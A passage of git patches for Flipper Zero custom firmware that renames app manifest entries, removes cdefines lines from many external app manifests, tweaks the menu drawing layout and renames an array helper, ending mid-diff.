zcmaJ@c|278_rI3PzAvFNMm&{e7)wmXzKj~%*ehv_!7y86EF(lkN?EdHO(@h*N=UY3 zZ7fkFOO`ANjU^;YzwvyZp6~CEU%&f$-FwgH-1qx^&gYzS@9SQ-wYK2rk>&vafZq~f zielZNtkaN-gLNhGzPAJb9uu62iLIrH35ZM~dExL_00Y=T+{c5+j+w|kQsr%QBj$9h<5`_= zvcrYX!$Oz~3!5J{Yi6=$wz_EDf)T3YU<@oW!^@U{0@_p^+Qfji z{lF9ZXP!JjG63Ldp~hg~AwMwx-BN!KFi@N{EC~$c9Vq4kZm|LBM=TDr8@>e2J4T|E z*&7;xT)H7xm9wFgEyA?|YQY{+y9Wr2b4d_1JP$;q8!LAJARTtVV==bq+y8?q5g)7dgSlylFvP4D0V9$wxB1&@2RYM*2Ee`$=9#$v)`Zg50U)VMn4d_fO_zVCwU-q9ZN|r>nZ~=g6Zsf5iM*H|)iP0MbvR)mm zX^><`?=>~#JKUfrWW0AW;sDRR{i#M$4h^sY&gV}!q;rKc#)ZmXsq661jES6$oFhx_ zJ-Xh>mnd2e79;EtHvsP9l1z`|1fvm}w<8KbvoT_J;N~_;0ei8rZ=xGQ zep!VgrhDtG;m?GjHW2j2){Pnq_2kH>b{y~70}Njj$x7d7$@TA{Y6`kVq~`hcNS7ai zM^xk$_MG|>Kn22X#9<o9w4gy=lixvN5r_{#|i7A{B^lOlzA`ErqJE@$p5SJfN;0w)#Olq-aYY%~RXz{(O_ z%;}2X6~bj973UHN?Vl#O zo<`6?X^E8yf(bUaH``xNR*J!zV(3vS=!YEM5?|Ykp^Tw_FKxV1c+#^>GnWeo=>-GDxZ+2$( z%J(2X{%HOytq6}JQhrhwr3&{~Nf`v8?m_r4=|hvevTZ0%U6c;Xw8 z6j+K=N_fi5LkCBHM}t1vLtckRj)ITQIfXqicYJ31xtROC#G}6AgN`qYwM)BDL8y4! zZaeq~S?sF6{&Z&Ub^0AAeJ7gJs?!I$W&hbZ9FmdU6nD#^1-PDhDcgqnxs9U@J1o=ZU`e~ zO8Q%M@AG%7`I#>>hf6*Z-j8&^o5LP$TB&Brw7b2AGmXA4uDeWJ==hvnm|57kk}v}~ z7kJL~+-B_|n`c>yIsIycwxOmoW3`Nn=VAJA?9Z-Q4*eE=_PZf>uhl)M1CPS%J z)5G^|{Z0d8l7FF1nj*R4APEU;{bZQNa~6 zW`U2XlEq1-OKyaT9X$qpsQT5e+@5-Yx~|+$pLE^yu8muYFTVNW#E@?VCD5Dhi$~!x z^O;o}ep6z1f z1nIeIxh90_MBNcddulLs1!Qas*>5vdNVGaAx_mV=%EqiN?^d2&S!LBpz1!2-PAO|T zBPYU4e)>e)mliGPwdO?V@dbnVUhr2K~e%8)od3fYrijw-bkkU&C;l!DLfKNDPqs70K9uQBSi z^L0a>_p(H2ZNd}Vswd9|s)AjY#=!MvFD2w-?InX$)!k6lp24`q-Y|v_<7w))?Su=; zaoLwPyc~zR(tH2DiPB|f&6MKgb_TKZ`{@@Lade8OBhxpn?~K!>W0EQEbTYlD^v4tP zs_6-5Yxlm;RT^P%@YBi4Hw$x!xq>+&eciSG@yS|WqrSJ%i~J=rOSh(E+zBT?QSXKL zuEuqicfRT5&_Zi1oav~b4=vx*&R+}3zU0Pm+AeuiS@%(Ku)lsJ=;DgNm4o6ZJ~5N$ zYo03wJNwm|g{=~Mzg-@Qm-djUuAdGcsj>*NY0inic>m(QH8bX%FO`HJeq3Mwl$(Ik zzI6xzBTr>UkOngsGJ>9yPahL#G@5$#*XV=Li=S=3-0ONh{JL{A{Zi#B*BpYT)C;Q* zpsVB)a^d%CnO|<^XCFLw(4wyLS2$DsGbW%_E8aOLH~R>DX=Czo(&s|Y!klbt1Ni&& zVcI%!E8Wk{&aKwlq&vqzlKKr<>Av2+@@XdCZLx;@9lY)_q)>UP1YQca2q$lkBOae2 z&0*IW3(k6_)bCbvCwiFgF8%av==1;Z{W#xnzWcSSAX9+*TFy@LuXoqRdo4OF`sB^! zZ^dWJ%F6Id*DiZ@C5;z8Efnp36YlhjHs}9nW^{XE^HjIX*1#g~Mr?O|DXn;g!hBTx z7}hG^DqGVVN>R;RsP-f;Y7m-&1&lmN9$1hi0qu=NVbPwn3+-4v0N^-+b8w-$SRr8;5deQ<~n3f4Zv+5r>d zhtc%}8|Z`df?+HH0+xyf1rzW@e^@Xa{I@QQW$(HnV9?(XsvjKupQK!@Y(XX@3Kn!+ z6{>|JenB{I4w0|DQ^+Y6b~LlOgJ=YP-Ao4YacQ|DgoJzi59d z3j5!D|4(6m2O1d*L1Fz#0Tc|YcV6~A`jDt3e;*PV1l3U0 z1Rb$LV{pV>&(XgrR#q@eqCXW)#9%E=;b4}CDh}rf(>5`OnnI83nw#sGsH>Zq7@2Dr znVK4znQH22Le)*pe{)Sqm;eHnNd3+A{4dw&kKEmXAdp#+O|cYQAlB2ILLz|v-Zc#O z=Uk5eQSTqF=bv-Y`6Cy?N(Qpq+yB+;-!9ew?VA4%FKhAd_+yEznWwOZTSahmj`d>f zwM9CZ{rdHbWjZ##3kLu;K}%C3hv32CR3nMkATHDNP50`@*G0JbZdhsG&#ag}kt-x* zbi6EjpiYUf^utT&I-ggwTw)8K9Wu<#NjKCWviOGnxNwI<3!$qd0;#|wTaC0<=DJ&4 z-o}fdK$^-X*DQay#`Ty87;GIAW(;r{nhujLM{vr&Ry`!wB1~-L(Uq&iu{k>R-V8os2N6zY@I0ry5ZRP(0CFwaUqp$rweNmLEX}MfomK}Y&?Q6<{^IZXxHgu>k9N2PUPNa~E?*^7bKA+0AH5l)R zS}i4d#BjFRWa(K?7>YJFIonF7y_qz@_V#wWmAe;3-!N4C_Ce~$H&1(?8x60XU0}74 WwRe~lwXYaxC4;A{pUXO@geCw-ib4GV literal 0 HcmV?d00001 diff --git a/applications/external/hid_app/application.fam b/applications/external/hid_app/application.fam index a9d8305dd..e96e956d8 100644 --- a/applications/external/hid_app/application.fam +++ b/applications/external/hid_app/application.fam @@ -1,10 +1,10 @@ App( appid="hid_usb", - name="Remote", + name="USB Keyboard & Mouse", apptype=FlipperAppType.EXTERNAL, entry_point="hid_usb_app", stack_size=1 * 1024, - fap_category="USB", + fap_category="Misc", fap_icon="hid_usb_10px.png", fap_icon_assets="assets", fap_icon_assets_symbol="hid", @@ -13,11 +13,11 @@ App( App( appid="hid_ble", - name="Remote", + name="Bluetooth Remote", apptype=FlipperAppType.EXTERNAL, entry_point="hid_ble_app", stack_size=1 * 1024, - fap_category="Bluetooth", + fap_category="Misc", fap_icon="hid_ble_10px.png", fap_icon_assets="assets", fap_icon_assets_symbol="hid", diff --git a/applications/external/music_player/application.fam b/applications/external/music_player/application.fam index 3414c0a48..e0254250e 100644 --- a/applications/external/music_player/application.fam +++ b/applications/external/music_player/application.fam @@ -1,5 +1,5 @@ App( - appid="music_player", + appid="Music_Player", name="Music Player", apptype=FlipperAppType.EXTERNAL, entry_point="music_player_app", diff --git a/applications/external/signal_generator/application.fam b/applications/external/signal_generator/application.fam index 094e784cc..bcf7d20b6 100644 --- a/applications/external/signal_generator/application.fam +++ b/applications/external/signal_generator/application.fam @@ -1,5 +1,5 @@ App( - appid="signal_generator", + appid="Signal_Generator", name="Signal Generator", apptype=FlipperAppType.EXTERNAL, entry_point="signal_gen_app", From 1926753794d27cca26bf659ba2a4a39994c97b90 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Tue, 14 Mar 2023 22:47:06 +0000 Subject: [PATCH 090/329] Improve wii ui style --- applications/services/gui/modules/menu.c | 18 ++++++++++++------ 1 file changed, 12 insertions(+), 6 deletions(-) diff --git a/applications/services/gui/modules/menu.c b/applications/services/gui/modules/menu.c index bdf145bd4..e850451c0 100644 --- a/applications/services/gui/modules/menu.c +++ b/applications/services/gui/modules/menu.c @@ -57,23 +57,29 @@ static void menu_draw_callback(Canvas* canvas, void* _model) { item_i = shift_position + i; if(item_i >= items_count) break; item = MenuItemArray_get(model->items, item_i); - x_off = (i / 2) * 40 + 5; + x_off = (i / 2) * 43 + 1; y_off = (i % 2) * 32; + if(item_i == position) { + elements_slightly_rounded_box(canvas, 0 + x_off, 0 + y_off, 40, 30); + canvas_set_color(canvas, ColorWhite); + } if(item->icon) { - canvas_draw_icon_animation(canvas, 11 + x_off, 4 + y_off, item->icon); + canvas_draw_icon_animation(canvas, 13 + x_off, 2 + y_off, item->icon); } furi_string_set(name, item->label); elements_scrollable_text_line( canvas, - 18 + x_off, - 24 + y_off, - 32, + 20 + x_off, + 23 + y_off, + 36, name, 0, false, true); if(item_i == position) { - elements_frame(canvas, 0 + x_off, 0 + y_off, 36, 30); + canvas_set_color(canvas, ColorBlack); + } else { + elements_frame(canvas, 0 + x_off, 0 + y_off, 40, 30); } } furi_string_free(name); From fe403c6994195cf6bf2d52f60ac6198311ab5bc8 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Wed, 15 Mar 2023 01:53:55 +0300 Subject: [PATCH 091/329] Remove cdefines from external apps --- applications/external/arkanoid/application.fam | 1 - applications/external/barcode_generator/application.fam | 1 - applications/external/blackjack/application.fam | 1 - applications/external/doom/application.fam | 1 - applications/external/dtmf_dolphin/application.fam | 1 - applications/external/esp8266_deauth/application.fam | 1 - applications/external/flappy_bird/application.fam | 1 - applications/external/flipfrid/application.fam | 1 - applications/external/flipper_i2ctools/application.fam | 1 - applications/external/game15/application.fam | 1 - applications/external/game_2048/application.fam | 1 - applications/external/gps_nmea_uart/application.fam | 1 - applications/external/hc_sr04/application.fam | 1 - applications/external/hex_viewer/application.fam | 1 - applications/external/ibtn_fuzzer/application.fam | 1 - applications/external/lightmeter/application.fam | 1 - applications/external/metronome/application.fam | 1 - applications/external/minesweeper/application.fam | 1 - applications/external/morse_code/application.fam | 1 - applications/external/mousejacker/application.fam | 1 - applications/external/multi_converter/application.fam | 1 - applications/external/nrfsniff/application.fam | 1 - applications/external/playlist/application.fam | 1 - applications/external/pocsag_pager/application.fam | 1 - applications/external/protoview/application.fam | 1 - applications/external/sentry_safe/application.fam | 1 - applications/external/solitaire/application.fam | 1 - applications/external/spectrum_analyzer/application.fam | 1 - applications/external/subbrute | 2 +- applications/external/swd_probe/application.fam | 1 - applications/external/tetris_game/application.fam | 1 - applications/external/text_viewer/application.fam | 1 - applications/external/tictactoe_game/application.fam | 1 - applications/external/totp/application.fam | 1 - applications/external/uart_terminal/application.fam | 1 - applications/external/unitemp/application.fam | 1 - applications/external/wav_player/application.fam | 1 - applications/external/wifi_marauder_companion/application.fam | 1 - applications/external/wifi_scanner/application.fam | 1 - applications/external/zombiez/application.fam | 1 - 40 files changed, 1 insertion(+), 40 deletions(-) diff --git a/applications/external/arkanoid/application.fam b/applications/external/arkanoid/application.fam index 05520b4bf..5cfec8862 100644 --- a/applications/external/arkanoid/application.fam +++ b/applications/external/arkanoid/application.fam @@ -3,7 +3,6 @@ App( name="Arkanoid", apptype=FlipperAppType.EXTERNAL, entry_point="arkanoid_game_app", - cdefines=["APP_ARKANOID_GAME"], requires=["gui"], stack_size=1 * 1024, order=30, diff --git a/applications/external/barcode_generator/application.fam b/applications/external/barcode_generator/application.fam index d2d7c4b96..c92498005 100644 --- a/applications/external/barcode_generator/application.fam +++ b/applications/external/barcode_generator/application.fam @@ -3,7 +3,6 @@ App( name="Barcode Generator", apptype=FlipperAppType.EXTERNAL, entry_point="barcode_generator_app", - cdefines=["APP_BARCODE_GEN"], requires=[ "gui", "dialogs", diff --git a/applications/external/blackjack/application.fam b/applications/external/blackjack/application.fam index d365cb895..f0645f003 100644 --- a/applications/external/blackjack/application.fam +++ b/applications/external/blackjack/application.fam @@ -3,7 +3,6 @@ App( name="Blackjack", apptype=FlipperAppType.EXTERNAL, entry_point="blackjack_app", - cdefines=["APP_BLACKJACK"], requires=["gui","storage","canvas"], stack_size=2 * 1024, order=30, diff --git a/applications/external/doom/application.fam b/applications/external/doom/application.fam index d9ae4d67d..4ff7b12f3 100644 --- a/applications/external/doom/application.fam +++ b/applications/external/doom/application.fam @@ -3,7 +3,6 @@ App( name="DOOM", apptype=FlipperAppType.EXTERNAL, entry_point="doom_app", - cdefines=["APP_DOOM_GAME"], requires=[ "gui", "music_player", diff --git a/applications/external/dtmf_dolphin/application.fam b/applications/external/dtmf_dolphin/application.fam index 0727f5f52..460f6ded6 100644 --- a/applications/external/dtmf_dolphin/application.fam +++ b/applications/external/dtmf_dolphin/application.fam @@ -3,7 +3,6 @@ App( name="DTMF Dolphin", apptype=FlipperAppType.EXTERNAL, entry_point="dtmf_dolphin_app", - cdefines=["DTMF_DOLPHIN"], requires=[ "storage", "gui", diff --git a/applications/external/esp8266_deauth/application.fam b/applications/external/esp8266_deauth/application.fam index 0b305e1fb..780c51c53 100644 --- a/applications/external/esp8266_deauth/application.fam +++ b/applications/external/esp8266_deauth/application.fam @@ -3,7 +3,6 @@ App( name="[ESP8266] Deauther", apptype=FlipperAppType.EXTERNAL, entry_point="esp8266_deauth_app", - cdefines=["APP_ESP8266_deauth"], requires=["gui"], stack_size=2 * 1024, order=100, diff --git a/applications/external/flappy_bird/application.fam b/applications/external/flappy_bird/application.fam index 0912178ca..f9fe85fa2 100644 --- a/applications/external/flappy_bird/application.fam +++ b/applications/external/flappy_bird/application.fam @@ -3,7 +3,6 @@ App( name="Flappy Bird", apptype=FlipperAppType.EXTERNAL, entry_point="flappy_game_app", - cdefines=["APP_FLAPPY_GAME"], requires=["gui"], stack_size=4 * 1024, order=100, diff --git a/applications/external/flipfrid/application.fam b/applications/external/flipfrid/application.fam index 07649efca..8f620f4ac 100644 --- a/applications/external/flipfrid/application.fam +++ b/applications/external/flipfrid/application.fam @@ -3,7 +3,6 @@ App( name="RFID Fuzzer", apptype=FlipperAppType.EXTERNAL, entry_point="flipfrid_start", - cdefines=["APP_FLIP_FRID"], requires=["gui", "storage", "dialogs", "input", "notification"], stack_size=1 * 1024, order=15, diff --git a/applications/external/flipper_i2ctools/application.fam b/applications/external/flipper_i2ctools/application.fam index 6fafeef58..5a00aa045 100644 --- a/applications/external/flipper_i2ctools/application.fam +++ b/applications/external/flipper_i2ctools/application.fam @@ -3,7 +3,6 @@ App( name="[GPIO] i2c Tools", apptype=FlipperAppType.EXTERNAL, entry_point="i2ctools_app", - cdefines=["APP_I2CTOOLS"], requires=["gui"], stack_size=2 * 1024, order=175, diff --git a/applications/external/game15/application.fam b/applications/external/game15/application.fam index ab00316c1..969cb536a 100644 --- a/applications/external/game15/application.fam +++ b/applications/external/game15/application.fam @@ -3,7 +3,6 @@ App( name="Game 15", apptype=FlipperAppType.EXTERNAL, entry_point="game15_app", - cdefines=["APP_GAME15"], requires=["gui"], stack_size=1 * 1024, fap_icon="game15_10px.png", diff --git a/applications/external/game_2048/application.fam b/applications/external/game_2048/application.fam index eb51d65e8..1be179dca 100644 --- a/applications/external/game_2048/application.fam +++ b/applications/external/game_2048/application.fam @@ -3,7 +3,6 @@ App( name="2048", apptype=FlipperAppType.EXTERNAL, entry_point="game_2048_app", - cdefines=["APP_GAME_2048"], requires=[ "gui", ], diff --git a/applications/external/gps_nmea_uart/application.fam b/applications/external/gps_nmea_uart/application.fam index a5fdb4360..e02785744 100644 --- a/applications/external/gps_nmea_uart/application.fam +++ b/applications/external/gps_nmea_uart/application.fam @@ -3,7 +3,6 @@ App( name="[NMEA] GPS", apptype=FlipperAppType.EXTERNAL, entry_point="gps_app", - cdefines=["APP_GPS"], requires=["gui"], stack_size=1 * 1024, order=35, diff --git a/applications/external/hc_sr04/application.fam b/applications/external/hc_sr04/application.fam index ad451a102..c10d7c42f 100644 --- a/applications/external/hc_sr04/application.fam +++ b/applications/external/hc_sr04/application.fam @@ -3,7 +3,6 @@ App( name="[HC-SR] Dist. Sensor", apptype=FlipperAppType.EXTERNAL, entry_point="hc_sr04_app", - cdefines=["APP_HC_SR04"], requires=[ "gui", ], diff --git a/applications/external/hex_viewer/application.fam b/applications/external/hex_viewer/application.fam index 7204e07c8..9bb15dc86 100644 --- a/applications/external/hex_viewer/application.fam +++ b/applications/external/hex_viewer/application.fam @@ -3,7 +3,6 @@ App( name="HEX Viewer", apptype=FlipperAppType.EXTERNAL, entry_point="hex_viewer_app", - cdefines=["APP_HEX_VIEWER"], requires=[ "gui", "dialogs", diff --git a/applications/external/ibtn_fuzzer/application.fam b/applications/external/ibtn_fuzzer/application.fam index b27f47ba9..00c244c41 100644 --- a/applications/external/ibtn_fuzzer/application.fam +++ b/applications/external/ibtn_fuzzer/application.fam @@ -3,7 +3,6 @@ App( name="iButton Fuzzer", apptype=FlipperAppType.EXTERNAL, entry_point="ibtnfuzzer_start", - cdefines=["APP_IBTN_FUZZ"], requires=["gui", "storage", "dialogs", "input", "notification"], stack_size=1 * 1024, order=15, diff --git a/applications/external/lightmeter/application.fam b/applications/external/lightmeter/application.fam index 8cd90ee26..7df664517 100644 --- a/applications/external/lightmeter/application.fam +++ b/applications/external/lightmeter/application.fam @@ -3,7 +3,6 @@ App( name="[BH1750] Lightmeter", apptype=FlipperAppType.EXTERNAL, entry_point="lightmeter_app", - cdefines=["APP_LIGHTMETER"], requires=[ "gui", ], diff --git a/applications/external/metronome/application.fam b/applications/external/metronome/application.fam index a3435fd77..67411c5f2 100644 --- a/applications/external/metronome/application.fam +++ b/applications/external/metronome/application.fam @@ -3,7 +3,6 @@ App( name="Metronome", apptype=FlipperAppType.EXTERNAL, entry_point="metronome_app", - cdefines=["APP_METRONOME"], requires=[ "gui", ], diff --git a/applications/external/minesweeper/application.fam b/applications/external/minesweeper/application.fam index 405cb0d1c..c0211282c 100644 --- a/applications/external/minesweeper/application.fam +++ b/applications/external/minesweeper/application.fam @@ -3,7 +3,6 @@ App( name="Minesweeper", apptype=FlipperAppType.EXTERNAL, entry_point="minesweeper_app", - cdefines=["APP_MINESWEEPER"], requires=["gui"], stack_size=8 * 1024, fap_category="Games", diff --git a/applications/external/morse_code/application.fam b/applications/external/morse_code/application.fam index 16a52fbd5..5db0f6a94 100644 --- a/applications/external/morse_code/application.fam +++ b/applications/external/morse_code/application.fam @@ -3,7 +3,6 @@ App( name="Morse Code", apptype=FlipperAppType.EXTERNAL, entry_point="morse_code_app", - cdefines=["APP_MORSE_CODE"], requires=[ "gui", ], diff --git a/applications/external/mousejacker/application.fam b/applications/external/mousejacker/application.fam index 725e81ae8..f65b06cc2 100644 --- a/applications/external/mousejacker/application.fam +++ b/applications/external/mousejacker/application.fam @@ -3,7 +3,6 @@ App( name="[NRF24] Mouse Jacker", apptype=FlipperAppType.EXTERNAL, entry_point="mousejacker_app", - cdefines=["APP_MOUSEJACKER"], requires=[ "gui", "dialogs", diff --git a/applications/external/multi_converter/application.fam b/applications/external/multi_converter/application.fam index b19bce895..9f49f18ad 100644 --- a/applications/external/multi_converter/application.fam +++ b/applications/external/multi_converter/application.fam @@ -3,7 +3,6 @@ App( name="Multi Converter", apptype=FlipperAppType.EXTERNAL, entry_point="multi_converter_app", - cdefines=["APP_DEC_HEX_CONVERTER"], requires=["gui"], stack_size=1 * 1024, order=19, diff --git a/applications/external/nrfsniff/application.fam b/applications/external/nrfsniff/application.fam index 2a2b98ae7..c99b9bf22 100644 --- a/applications/external/nrfsniff/application.fam +++ b/applications/external/nrfsniff/application.fam @@ -3,7 +3,6 @@ App( name="[NRF24] Sniffer", apptype=FlipperAppType.EXTERNAL, entry_point="nrfsniff_app", - cdefines=["APP_NRFSNIFF"], requires=["gui"], stack_size=2 * 1024, order=70, diff --git a/applications/external/playlist/application.fam b/applications/external/playlist/application.fam index 06357e24b..e137cdb39 100644 --- a/applications/external/playlist/application.fam +++ b/applications/external/playlist/application.fam @@ -3,7 +3,6 @@ App( name="Sub-GHz Playlist", apptype=FlipperAppType.EXTERNAL, entry_point="playlist_app", - cdefines=["APP_PLAYLIST"], requires=["storage", "gui", "dialogs", "subghz"], stack_size=2 * 1024, order=14, diff --git a/applications/external/pocsag_pager/application.fam b/applications/external/pocsag_pager/application.fam index b0d1bedd1..3cef05374 100644 --- a/applications/external/pocsag_pager/application.fam +++ b/applications/external/pocsag_pager/application.fam @@ -3,7 +3,6 @@ App( name="POCSAG Pager", apptype=FlipperAppType.EXTERNAL, entry_point="pocsag_pager_app", - cdefines=["APP_POCSAG_PAGER"], requires=["gui"], stack_size=4 * 1024, order=50, diff --git a/applications/external/protoview/application.fam b/applications/external/protoview/application.fam index 234a00bc6..29cef0e10 100644 --- a/applications/external/protoview/application.fam +++ b/applications/external/protoview/application.fam @@ -3,7 +3,6 @@ App( name="ProtoView", apptype=FlipperAppType.EXTERNAL, entry_point="protoview_app_entry", - cdefines=["APP_PROTOVIEW"], requires=["gui"], stack_size=8*1024, order=50, diff --git a/applications/external/sentry_safe/application.fam b/applications/external/sentry_safe/application.fam index 070a677ba..8958dc8bc 100644 --- a/applications/external/sentry_safe/application.fam +++ b/applications/external/sentry_safe/application.fam @@ -3,7 +3,6 @@ App( name="[GPIO] Sentry Safe", apptype=FlipperAppType.EXTERNAL, entry_point="sentry_safe_app", - cdefines=["APP_SENTRY_SAFE"], requires=["gui"], stack_size=1 * 1024, order=80, diff --git a/applications/external/solitaire/application.fam b/applications/external/solitaire/application.fam index 66e4567ec..44152a038 100644 --- a/applications/external/solitaire/application.fam +++ b/applications/external/solitaire/application.fam @@ -3,7 +3,6 @@ App( name="Solitaire", apptype=FlipperAppType.EXTERNAL, entry_point="solitaire_app", - cdefines=["APP_SOLITAIRE"], requires=["gui","storage","canvas"], stack_size=2 * 1024, order=30, diff --git a/applications/external/spectrum_analyzer/application.fam b/applications/external/spectrum_analyzer/application.fam index 344c2244f..286aa64ba 100644 --- a/applications/external/spectrum_analyzer/application.fam +++ b/applications/external/spectrum_analyzer/application.fam @@ -3,7 +3,6 @@ App( name="Spectrum Analyzer", apptype=FlipperAppType.EXTERNAL, entry_point="spectrum_analyzer_app", - cdefines=["APP_SPECTRUM_ANALYZER"], requires=["gui"], stack_size=2 * 1024, order=12, diff --git a/applications/external/subbrute b/applications/external/subbrute index 49d32f8ed..685ac6540 160000 --- a/applications/external/subbrute +++ b/applications/external/subbrute @@ -1 +1 @@ -Subproject commit 49d32f8ed6790d3b9a99f261ad306766325a691a +Subproject commit 685ac6540de1bf5f7f4bd267c808850cf539587e diff --git a/applications/external/swd_probe/application.fam b/applications/external/swd_probe/application.fam index c1aec00ea..c255e6f81 100644 --- a/applications/external/swd_probe/application.fam +++ b/applications/external/swd_probe/application.fam @@ -3,7 +3,6 @@ App( name="SWD Probe", apptype=FlipperAppType.EXTERNAL, entry_point="swd_probe_app_main", - cdefines=["APP_SWD_PROBE"], requires=["notification", "gui", "storage", "dialogs", "cli"], stack_size=2 * 1024, order=10, diff --git a/applications/external/tetris_game/application.fam b/applications/external/tetris_game/application.fam index 69dda3297..998345c0e 100644 --- a/applications/external/tetris_game/application.fam +++ b/applications/external/tetris_game/application.fam @@ -3,7 +3,6 @@ App( name="Tetris", apptype=FlipperAppType.EXTERNAL, entry_point="tetris_game_app", - cdefines=["APP_TETRIS_GAME"], requires=["gui"], stack_size=2 * 1024, order=20, diff --git a/applications/external/text_viewer/application.fam b/applications/external/text_viewer/application.fam index dcd573c9d..518626f41 100644 --- a/applications/external/text_viewer/application.fam +++ b/applications/external/text_viewer/application.fam @@ -3,7 +3,6 @@ App( name="Text Viewer", apptype=FlipperAppType.EXTERNAL, entry_point="text_viewer_app", - cdefines=["APP_TEXT_VIEWER"], requires=[ "gui", "dialogs", diff --git a/applications/external/tictactoe_game/application.fam b/applications/external/tictactoe_game/application.fam index 2e769417e..8b67be874 100644 --- a/applications/external/tictactoe_game/application.fam +++ b/applications/external/tictactoe_game/application.fam @@ -3,7 +3,6 @@ App( name="Tic Tac Toe", apptype=FlipperAppType.EXTERNAL, entry_point="tictactoe_game_app", - cdefines=["APP_TICTACTOE_GAME"], requires=["gui"], stack_size=1 * 1024, order=40, diff --git a/applications/external/totp/application.fam b/applications/external/totp/application.fam index fbd21ddf7..600ed6ca3 100644 --- a/applications/external/totp/application.fam +++ b/applications/external/totp/application.fam @@ -3,7 +3,6 @@ App( name="Authenticator", apptype=FlipperAppType.EXTERNAL, entry_point="totp_app", - cdefines=["APP_TOTP"], requires=[ "gui", "cli", diff --git a/applications/external/uart_terminal/application.fam b/applications/external/uart_terminal/application.fam index c6cea5362..b167ab83e 100644 --- a/applications/external/uart_terminal/application.fam +++ b/applications/external/uart_terminal/application.fam @@ -3,7 +3,6 @@ App( name="UART Terminal", apptype=FlipperAppType.EXTERNAL, entry_point="uart_terminal_app", - cdefines=["APP_UART_TERMINAL"], requires=["gui"], stack_size=1 * 1024, order=90, diff --git a/applications/external/unitemp/application.fam b/applications/external/unitemp/application.fam index 89292e504..3971f5138 100644 --- a/applications/external/unitemp/application.fam +++ b/applications/external/unitemp/application.fam @@ -3,7 +3,6 @@ App( name="Temp sensors reader", apptype=FlipperAppType.EXTERNAL, entry_point="unitemp_app", - cdefines=["UNITEMP_APP"], requires=[ "gui", ], diff --git a/applications/external/wav_player/application.fam b/applications/external/wav_player/application.fam index 6ab832d03..f76c1cd39 100644 --- a/applications/external/wav_player/application.fam +++ b/applications/external/wav_player/application.fam @@ -3,7 +3,6 @@ App( name="WAV Player", apptype=FlipperAppType.EXTERNAL, entry_point="wav_player_app", - cdefines=["APP_WAV_PLAYER"], stack_size=4 * 1024, order=46, fap_icon="wav_10px.png", diff --git a/applications/external/wifi_marauder_companion/application.fam b/applications/external/wifi_marauder_companion/application.fam index e3185d50a..d8bfc58a6 100644 --- a/applications/external/wifi_marauder_companion/application.fam +++ b/applications/external/wifi_marauder_companion/application.fam @@ -3,7 +3,6 @@ App( name="[ESP32] WiFi Marauder", apptype=FlipperAppType.EXTERNAL, entry_point="wifi_marauder_app", - cdefines=["APP_WIFI_MARAUDER"], requires=["gui"], stack_size=1 * 1024, order=90, diff --git a/applications/external/wifi_scanner/application.fam b/applications/external/wifi_scanner/application.fam index dc229efc0..c160e8aa9 100644 --- a/applications/external/wifi_scanner/application.fam +++ b/applications/external/wifi_scanner/application.fam @@ -3,7 +3,6 @@ App( name="[WiFi] Scanner", apptype=FlipperAppType.EXTERNAL, entry_point="wifi_scanner_app", - cdefines=["APP_WIFI_SCANNER"], requires=["gui"], stack_size=2 * 1024, order=110, diff --git a/applications/external/zombiez/application.fam b/applications/external/zombiez/application.fam index 3245187d2..069e591bc 100644 --- a/applications/external/zombiez/application.fam +++ b/applications/external/zombiez/application.fam @@ -3,7 +3,6 @@ App( name="Zombiez", apptype=FlipperAppType.EXTERNAL, entry_point="zombiez_game_app", - cdefines=["APP_ZOMBIEZ_GAME"], requires=["gui"], stack_size=2 * 1024, order=280, From 8e7ca0fca20bc856290e1e323aaae5b49b0e9ede Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Tue, 14 Mar 2023 23:05:43 +0000 Subject: [PATCH 092/329] Shift wii ui icon position --- applications/services/gui/modules/menu.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/applications/services/gui/modules/menu.c b/applications/services/gui/modules/menu.c index e850451c0..e42f2ab51 100644 --- a/applications/services/gui/modules/menu.c +++ b/applications/services/gui/modules/menu.c @@ -64,7 +64,7 @@ static void menu_draw_callback(Canvas* canvas, void* _model) { canvas_set_color(canvas, ColorWhite); } if(item->icon) { - canvas_draw_icon_animation(canvas, 13 + x_off, 2 + y_off, item->icon); + canvas_draw_icon_animation(canvas, 13 + x_off, 3 + y_off, item->icon); } furi_string_set(name, item->label); elements_scrollable_text_line( From f5fcc873688561723bd3752090d759a013269e4f Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Wed, 15 Mar 2023 01:03:02 +0000 Subject: [PATCH 093/329] Rename char array def for xfw app --- .../scenes/xtreme_app_scene_graphics.c | 8 ++++---- applications/main/xtreme_app/xtreme_app.c | 16 ++++++++-------- applications/main/xtreme_app/xtreme_app.h | 4 ++-- 3 files changed, 14 insertions(+), 14 deletions(-) diff --git a/applications/main/xtreme_app/scenes/xtreme_app_scene_graphics.c b/applications/main/xtreme_app/scenes/xtreme_app_scene_graphics.c index 99a302a44..d2506c30b 100644 --- a/applications/main/xtreme_app/scenes/xtreme_app_scene_graphics.c +++ b/applications/main/xtreme_app/scenes/xtreme_app_scene_graphics.c @@ -16,10 +16,10 @@ static void xtreme_app_scene_graphics_asset_pack_changed(VariableItem* item) { XtremeApp* app = variable_item_get_context(item); uint8_t index = variable_item_get_current_value_index(item); variable_item_set_current_value_text( - item, index == 0 ? "SFW" : *asset_packs_get(app->asset_packs, index - 1)); + item, index == 0 ? "SFW" : *CharList_get(app->asset_packs, index - 1)); strlcpy( XTREME_SETTINGS()->asset_pack, - index == 0 ? "" : *asset_packs_get(app->asset_packs, index - 1), + index == 0 ? "" : *CharList_get(app->asset_packs, index - 1), MAX_PACK_NAME_LEN); app->asset_pack = index; app->save_settings = true; @@ -80,13 +80,13 @@ void xtreme_app_scene_graphics_on_enter(void* context) { item = variable_item_list_add( var_item_list, "Asset Pack", - asset_packs_size(app->asset_packs) + 1, + CharList_size(app->asset_packs) + 1, xtreme_app_scene_graphics_asset_pack_changed, app); variable_item_set_current_value_index(item, app->asset_pack); variable_item_set_current_value_text( item, - app->asset_pack == 0 ? "SFW" : *asset_packs_get(app->asset_packs, app->asset_pack - 1)); + app->asset_pack == 0 ? "SFW" : *CharList_get(app->asset_packs, app->asset_pack - 1)); item = variable_item_list_add( var_item_list, diff --git a/applications/main/xtreme_app/xtreme_app.c b/applications/main/xtreme_app/xtreme_app.c index fa66a8d52..c25543b62 100644 --- 